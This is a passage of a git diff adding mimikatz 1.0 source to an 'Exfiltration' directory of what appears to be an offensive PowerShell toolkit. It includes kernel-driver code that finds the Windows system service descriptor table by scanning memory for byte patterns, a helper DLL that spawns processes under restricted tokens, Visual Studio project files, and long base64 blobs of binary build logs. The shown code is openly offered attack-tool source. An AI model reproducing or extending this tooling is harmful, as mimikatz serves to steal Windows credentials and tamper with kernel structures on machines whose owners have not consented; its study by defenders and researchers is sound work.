ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c new file mode 100644 index 0000000..688dfb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.c @@ -0,0 +1,83 @@ +#include "ssdt.h" + +#ifdef _M_X64 +PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; +#endif + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + USHORT idxFunction; + ULONG_PTR funcAddr; + + #ifdef _M_X64 + status = getKeServiceDescriptorTable(); + if(NT_SUCCESS(status)) + { + #endif + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); + for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) + { + #ifdef _M_IX86 + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; + #else + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; + if(INDEX_OS < INDEX_VISTA) + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; + } + else + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; + } + #endif + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + #ifdef _M_X64 + } + #endif + return status; +} + +#ifdef _M_X64 +NTSTATUS getKeServiceDescriptorTable() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + + UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; + LONG OFFS_WNO8_Ke = -19; + LONG OFFS_WIN8_Ke = -16; + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + PUCHAR baseSearch = NULL; + + if(KeServiceDescriptorTable) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); + if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refDebut= baseSearch - 21*PAGE_SIZE; + refFin = baseSearch + 16*PAGE_SIZE; + offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; + + retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); + } + } + return retour; +} +#endif \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h new file mode 100644 index 0000000..33ab9af --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.h @@ -0,0 +1,13 @@ +#pragma once +#include "k_types.h" +#include "mod_memory.h" +#include "modules.h" + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +#ifdef _M_IX86 + extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +#else + PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; + NTSTATUS getKeServiceDescriptorTable(); +#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..574462d68510beade31e5994920d86034c60810d GIT binary patch literal 13668 zcmdU0$&S-N5Un#3|BxdbCSoQCM%)tHNlaoV@{$EbP&G&C#C6P~Zk(K1q$XZ%i;A}5DIZ7s#)ELWTi%%vejB_lP0>35Z&oO?%c_|0n zvBBsAuJL+~vpHsb!S(x*2YHmKyu%gF+2gasQ!{*i9hm~(YkBp8a*ugCV6AXpArst} z2V^yl-vHmUe2}*K7~zr0=FtZ@u)Yj9jqS!#!%WlV5)<* z`@oXG#*jL5NIUH_Ed?!~TALQsOJ1&)m`NMn*(Wd5JOGn7{!-%Rpxr8>#Er9Bl>c}V zHwFtmfp|#9*s26b&cREGhi4dN>VP7F-ZhXK+SFB4Yc&)VEy5K@THxD9uZW-djuf9$Z?(%Fkh8H}c+`U(70S*HJvasPp82I=9?^aqhTxsjTb5y!$uF(gNn7b&Q$V==T+%R2I6wJdjZ{veY%ro2PL5PChs2_=;x85KF zy>Y;&5_)7WFG=vtxkp+{u0{zyP!x#i?2&9;WTdvJTWMvH`D*)^vVhNfTV1o}Q;ACA zEL10LeW(g?o4q|z6e*Bo<{EU1#Xgg&XiCVgz5m}~X}~29wqNnkS2(-a75knFc0btj zOXC3T?eJ1lqF=|Xm9_n4<%ZQrW{It_D4$sWW=_Vw@~{AhykMcX>jjJQDRzItu=r82 z)SwQl*Y^I^(NRXR+owF}c87)gw-;|Bc2~<731$Z!tF88tQ>Rfyus9wxihC4mggbof z>BG)BdN}s`6RDA*JJNdJW;f{P&=JboX*@Jz>y+$d&4J4YB4S~uFl)>45Dl|A?48)) zd&Jioi%L(9z1v>56XcB81#NHj*vGhqym-j|s-5w{AzGLU6(;RpKA1}{vuP*r$zFDM z@PK{rNO{A^--Ax8^zwfX8fcTXwPOX4IapH0zQ&~8JnWgwfyRC>=zLH9mx?u~=>ML~ VQP5{7T%gF%OPBzQcHj3t%nyP4TQ&dy literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..1393f5201c949a980dc374ae5c3174b867b79289 GIT binary patch literal 528 zcmd6kOAdlS5Cv;(;!z-=J9ns~;s=NyAclDVQ>ZmA)dP@TOuAmrvP#zC5>MZL5uoVcrhlZ2doY`N;wHfY5?z%P6+#O_YqG7G$nDQH4mQ0}l literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..05c99d0b13f38f0d49b1e7c750ecb287683f1e92 GIT binary patch literal 1190 zcmdUu-A=+l5QWdRiSJ;zM?vqnLnxIfh43SU5D6d%5h@Wx@!{2Py5&cB0nMh}&Y3gQ zv%6=%zaErRMjiPos;(O~bWK!ISxtGWss`rij^U{VZdg$z<^X;cyh9x5o{C%0Bst3$ ziLx--;Q+Q=RBS1D)|MDzQ~O(Nbf*sZU)+FM8KduP7cf zPZ^#*G>@=}X3Qb{9=ItEwW8t~)D&BOLezutN#3G;WT)74ypWsm-w-W-L(>dRk0_e5 zo<*#x%^FNyNN&pW#A9(&SMl6p?S_=uCpWu_GCf?pju}4ZY)GDWlidsGak)hTa1Y-! zaM6ah_ZMI5C?4UQj7B(OfhUaNkRf|DV3+5hu0xwRgZBpbu804+G2h`McHKN_ zt}!oKrvl#z_GiM`*gkd`&PfGM@pooLWtzK^;>OI$_G6~cxAm&CYMXoXGHIU + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res new file mode 100644 index 0000000000000000000000000000000000000000..416efb252679234e4017c8d9860fdb073712bce1 GIT binary patch literal 788 zcmZ{iO-=$q5QQIP7Mif&2F}8TZp@&waAyptArdueaA^PsB*M%@h8R7BXYm5wf_r!a z@vGJjKZ)I`?w+n!uU^%(B!$>~{%agp#;ol9RWK#zi&P0bXjYCnwsoU>))QTGYU)xK zd^cH7IotRQzP=@k|K;%ek@HFc(|i7|6qCCIU!i9Wm1+RnP$MNUr|K&MSaq04u_E=b zSY1}>P!(e9V8+VT0so4c4qu6*KVwf}Hoj2j>@S$~t^?wHo(8B1yp}(A=!_^EPjKbT zKE8w*>cOpJkY?sD^u~RThAF5}cigAoGICA$-f_B2L#SiN*232#HUYou@zdwj^C`5z_)caA@mVPQR?`fgWL!>*VU4>93UCYgnbCnMRTfLCR7Z2`;Kp)w`4;dS;A75( z-g4s&=r%ITb50Ey?~va|wzaE7&ybi?vf60PSYxbO+jH&xL7HHrsn`1cU-|6F2700` z?Xc^!df`6{S?-ggeIoAh%T$BYqXx$6zoV@5Nf-L8Q*u)3N?$b7H99Z&&RLnhY8kLf zmwXrSC*ZEkLO0y_2{&apaUC7K4i_294Tm4^Cl zc14WI@i?{)zXN_XG)?iy`l_HkK~qI!W_Ia@0-xIP~*I!D>{gf`7)czpKDJ zhdXCKgAr|%YSGD$yT(g$b-MO<5az-_Cv@GA>U8lvzSI^~9f8KqEkozJ! z10$su%pcMhO>)>m+ipNwSSZM!Cq{~_f#&!s3Z_qrtu8OXbH(>PXG(PBk3N^N$7Ai? lUnx`7?w@uVy?_1zMA(kD^Nr+jojZ=bU?d3`jKBf`287Ep6BfKjgVdo>- zYb-66%gFj}1TO=1;A$J|!0a|-Q?g+`Rzr?Dv1)N>GBRfw&%K<%lvYmQ(ge>HdrI=1 z@jVu|DsC@0+3*n~JSqaSdv#(whGP`h*>`voL%GM#ug8%>GZ69TJI6 zt%Yw)MO$8i)aL%wXcizy$dGjy>psUtbXXU%sgQ%krik_ReJs0`QRvO{F9m&=1U5%P x7dS544$1U}^HvK(R_L=C{n$9TkLx^L>hJj(X87rOxrtrOJSw-DG&HI28$YosFslFn literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..f8b3fd94a63e283e0bdabef806151dd7b937b844 GIT binary patch literal 756 zcmdUt%?iRW5QM+8;G;D7bMw~PRHHVQHvS;RC-K?UNxX>&o{H=tnVHRIlby%?%8~^= zD;$9}2MVEvJtr(JojA)*VL6MBoTJw2m7k06g*``|*ow`hMcoPI%D6~>XELT3CQ@Qf zqo`EXDtg@-tIe5xP>t>=*l_!+p5x0p#*7B-`uo3@X~IMI_^TUUU7O^XpkHp2FH7O* RJS&gY+IitB%^;*HJOO4?ZSnvB literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..be3410331ff18f2fdac4e237cc8316e3cc38e1b3 GIT binary patch literal 936 zcmaiy+e-pr5XH}P(EqU5OFgvRAflek)>=wi+_Z=#=%OX*DyvVEYbld(h0a>v1)wl@XO#Cc3mwZ_CXi% znLoxV!#KtN8(GwfLM`JlPQs~@HR5DcwQOrz{lgn-$CZT6IfCDCB|F$wDmVsbT!JixN7O_ap=13For z^wOfz`z$K(jA8x!){}uJ#Fpu_Or5_p&uT_X$~91r-!;Dg`(AAoy1*K7Gi0DUjWzWD z0&L_+p-b+YDt&IY3+o2f1$q)V51uInYg3_zhDWkk_OAMTbNJ`r)=f^`fo?%A_3hO;DOJ=N#utUHog-hdW&0&knbGS84lY&YAy>dslcS#=q}pil^q{TqiGv zU2Utr-c-cR2fFvZPj=4%23uyX!8+afO+{>1%x|IxP@7VLA2#bW?Kk^U({1g_hnzdz kJBNhHbNHJFIgBHi?tK?h_!hpMt54eh=Ii{)w`h)i02QH`R{#J2 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..53b60f35815c1aae7e54b44ba7d7cee69a3352e1 GIT binary patch literal 574 zcmc(c%MQUn7=_PT;vKqVp>at>?5d_rXf>@O(s&Zjj_)5`iG`iaqH`|)<#e8pn^G;+ zY9p_swraEjl{)Awr%E-P)1KpWfj7=8=Ud=U;9GE^6BRqy5t`{9l;F6ce=;LY6l;uP zo|2Q%)p1&;TDO^|U({IZut^*|NBmXTWDT}ij;=Yk0-S+rxO<{Eapromg|&*%`5&C{!)au2eu4V!rMh$Q1K%ZW+vf05!dhvoU)r-d)6O-PzB R=iAPG_5S)Qzr2C%_yTO&Qu+V@ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..92ee08406f4e0bbb2d0835a81edc1c69883f21f5 GIT binary patch literal 628 zcmdUs%Syvg6h+rq@E=O%iMBdvXEjaRpvKVJ2U1!@S`mYaPW*ax-B27D=OUZKVefrj zm;3p#CZ)%U5joe4nQ%U&#yRcATrmdcn_SeJgJC ze=0F;5{`93O(}*>%|ug4bW#pE;D`Y&HeOgbJ$2u}j@Djpsuhtt-i=eED+{$xJX0C> oM&LVh0?Z5ov7q^mKGXMYp literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..6f2e9b05a0415fb3fba6005ecd5cbc28aac0d9a3 GIT binary patch literal 2522 zcmd6p(N2Rf6o&t66W@VLy%=#fYP`b&lWYSr23rhq@Bb3&cghl%>5UUp(qwDTDec$4 zKP?~cZ*qE4uZ0S2^`chKv}#q_Dbq#`u}mvUraf_s6r+#5M$IVSBQY7LYh4{VYuXjG8=hP%;>p6ZHPmk)eAK;ek8?WT zx1oOyNd#lTdRk8%QQJ~aiB;t0@C-~HGxeT*#SFP`*$N%=Sbw8Ti0>IaW0V+$rpC8p zRpsb>4Xa9k5CrQi_$diKZr)-Tq^eBZ^gl_#l#+=~&UDVot>Ju= XQm1Cj=+Aog?^n;6{pcM2TyFgWA~-Ze literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 0000000..63130c9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h new file mode 100644 index 0000000..22ffbc2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc new file mode 100644 index 0000000000000000000000000000000000000000..f08bc5607efeb78c964f72fcdd79ff3f9d3e3b2c GIT binary patch literal 1912 zcmbu9+int36o&t66W?J=Z)#!;)V@GDN}K{I2la|n3P@Ukzz`4Vv#a0Qn_+;VMrbB` z_RKo`>%9K_KGU6s8fl^_x6_qcYOABJ%BriWzHU^3TIRcjw$8*Z*7StbFfV$LMeT5PvS6B)*Pqmg<9O3V)9sloij;~dHTKnC`$1V|+h@npm z5zlM19(ml8njJ81R70c6eT9ZujQDCm?Q++^a~n#KtH3Skz23lSBUOBYZ&-GENcDMF zu+jFpZt!0RrHa>XkCV_%(;-m@y|O3cRKR+EbAoIO{3fw?@vie<8VP#UM^MANYhrHe z1D5mD^c|Ird<>~4scewRXC#^+1l}bm_FQIUI&@ac=ho~LGW?L&U8%%U5xttvUx?db z&G{-ciQIh8;XzDCTCb1E;e>u2qA?|&*}6Z2mgyZrOSus_O;9b8yaqm^FT6viC$h=? zZ^T5ZN2VicW&M@I!c5;ZXO^b=NoU;hH-v6ImLu9B^w`JYh;X9soWs@+<0m;N`zamx z+{``V4CKVlJ$C0jBR|cyC2W2jzD)cveym?m=J>lp%IPCKoAVhyE%`t9F_^D5^@bL~ z8|WUS1rv6P*FCSh1asTl0^26PImh5yC&V6einkA$eDCMs80-k#u}8I<&Z(yL;h4P` zZ}ObwSl&v0V_gtaK^J82`BiUWdq!|qTEG3y*{=}%j*pjIyXzP{hH2T wkK8VvHPgG3*8$C@Zb=_lcW?KY?WQpCHiuRf+h*HaC-pY{I->(@A|}kyU(x>fWB>pF literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj new file mode 100644 index 0000000..ef29473 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj @@ -0,0 +1,119 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} + Win32Proj + kappfree + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters new file mode 100644 index 0000000..987362e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..d6e37a7b2be0eb5cf84d1445fb5e23cad678f631 GIT binary patch literal 97396 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..93f65cf401ae1fe339cae9919b9b29a3846d1f69 GIT binary patch literal 3060 zcmeH}-3o$05QWcm(4!PqcipK;S^kk(5mGPGvsd3L5=LDFLMpKr%bao7IcH~Q_I^9d z)m*uj^0m`SnH;P{u@3UIRSM=QV0b!$8_ZY89Pzyko?}Pavtk1}!e{(GmdzI@{IAGJ z6OCozaak2IGIq#W5n?acCBX0Uw?x;U#uvcDfw9eOczft!;w%+08pYrNF~3LK!J6vfZ8iT{J?d$rX!-uPHnB3~&W4IvVW#S&pl+FHdwzWO^mTUv?_H8CkR zn+**2+&g#f%$z-$;n&S4l~vGCv1;n-y?QEPwbfEzk&e^>i&W={bPR5+rUq@3_#*fa zyQz=#_yD?(&;A-#k%$5QhseGT^;!pb%JgdR^vE!zM+3V;mOB12qqX%?FZ4zez2dv3 zy>+!SUFl5UbV9$j&h=fVx}e%K+Br|8A6ll^ObgnC_%XPvO>|9cR;fLOJq1l+#U;FO zL_khiuL&!?1PvJm*ai4EfqP>(ILhJ!K4s<2OEbrObfzl5_n7UB{qb53c>at31$K*1(M8^T(NS+ zdR~gPtpHD}Rdr78B~DRATHh_hN$XFy0^bm~?+W?pD?feZH^m|UX*}1P;=fdg-w@5} A761SM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate @@ -0,0 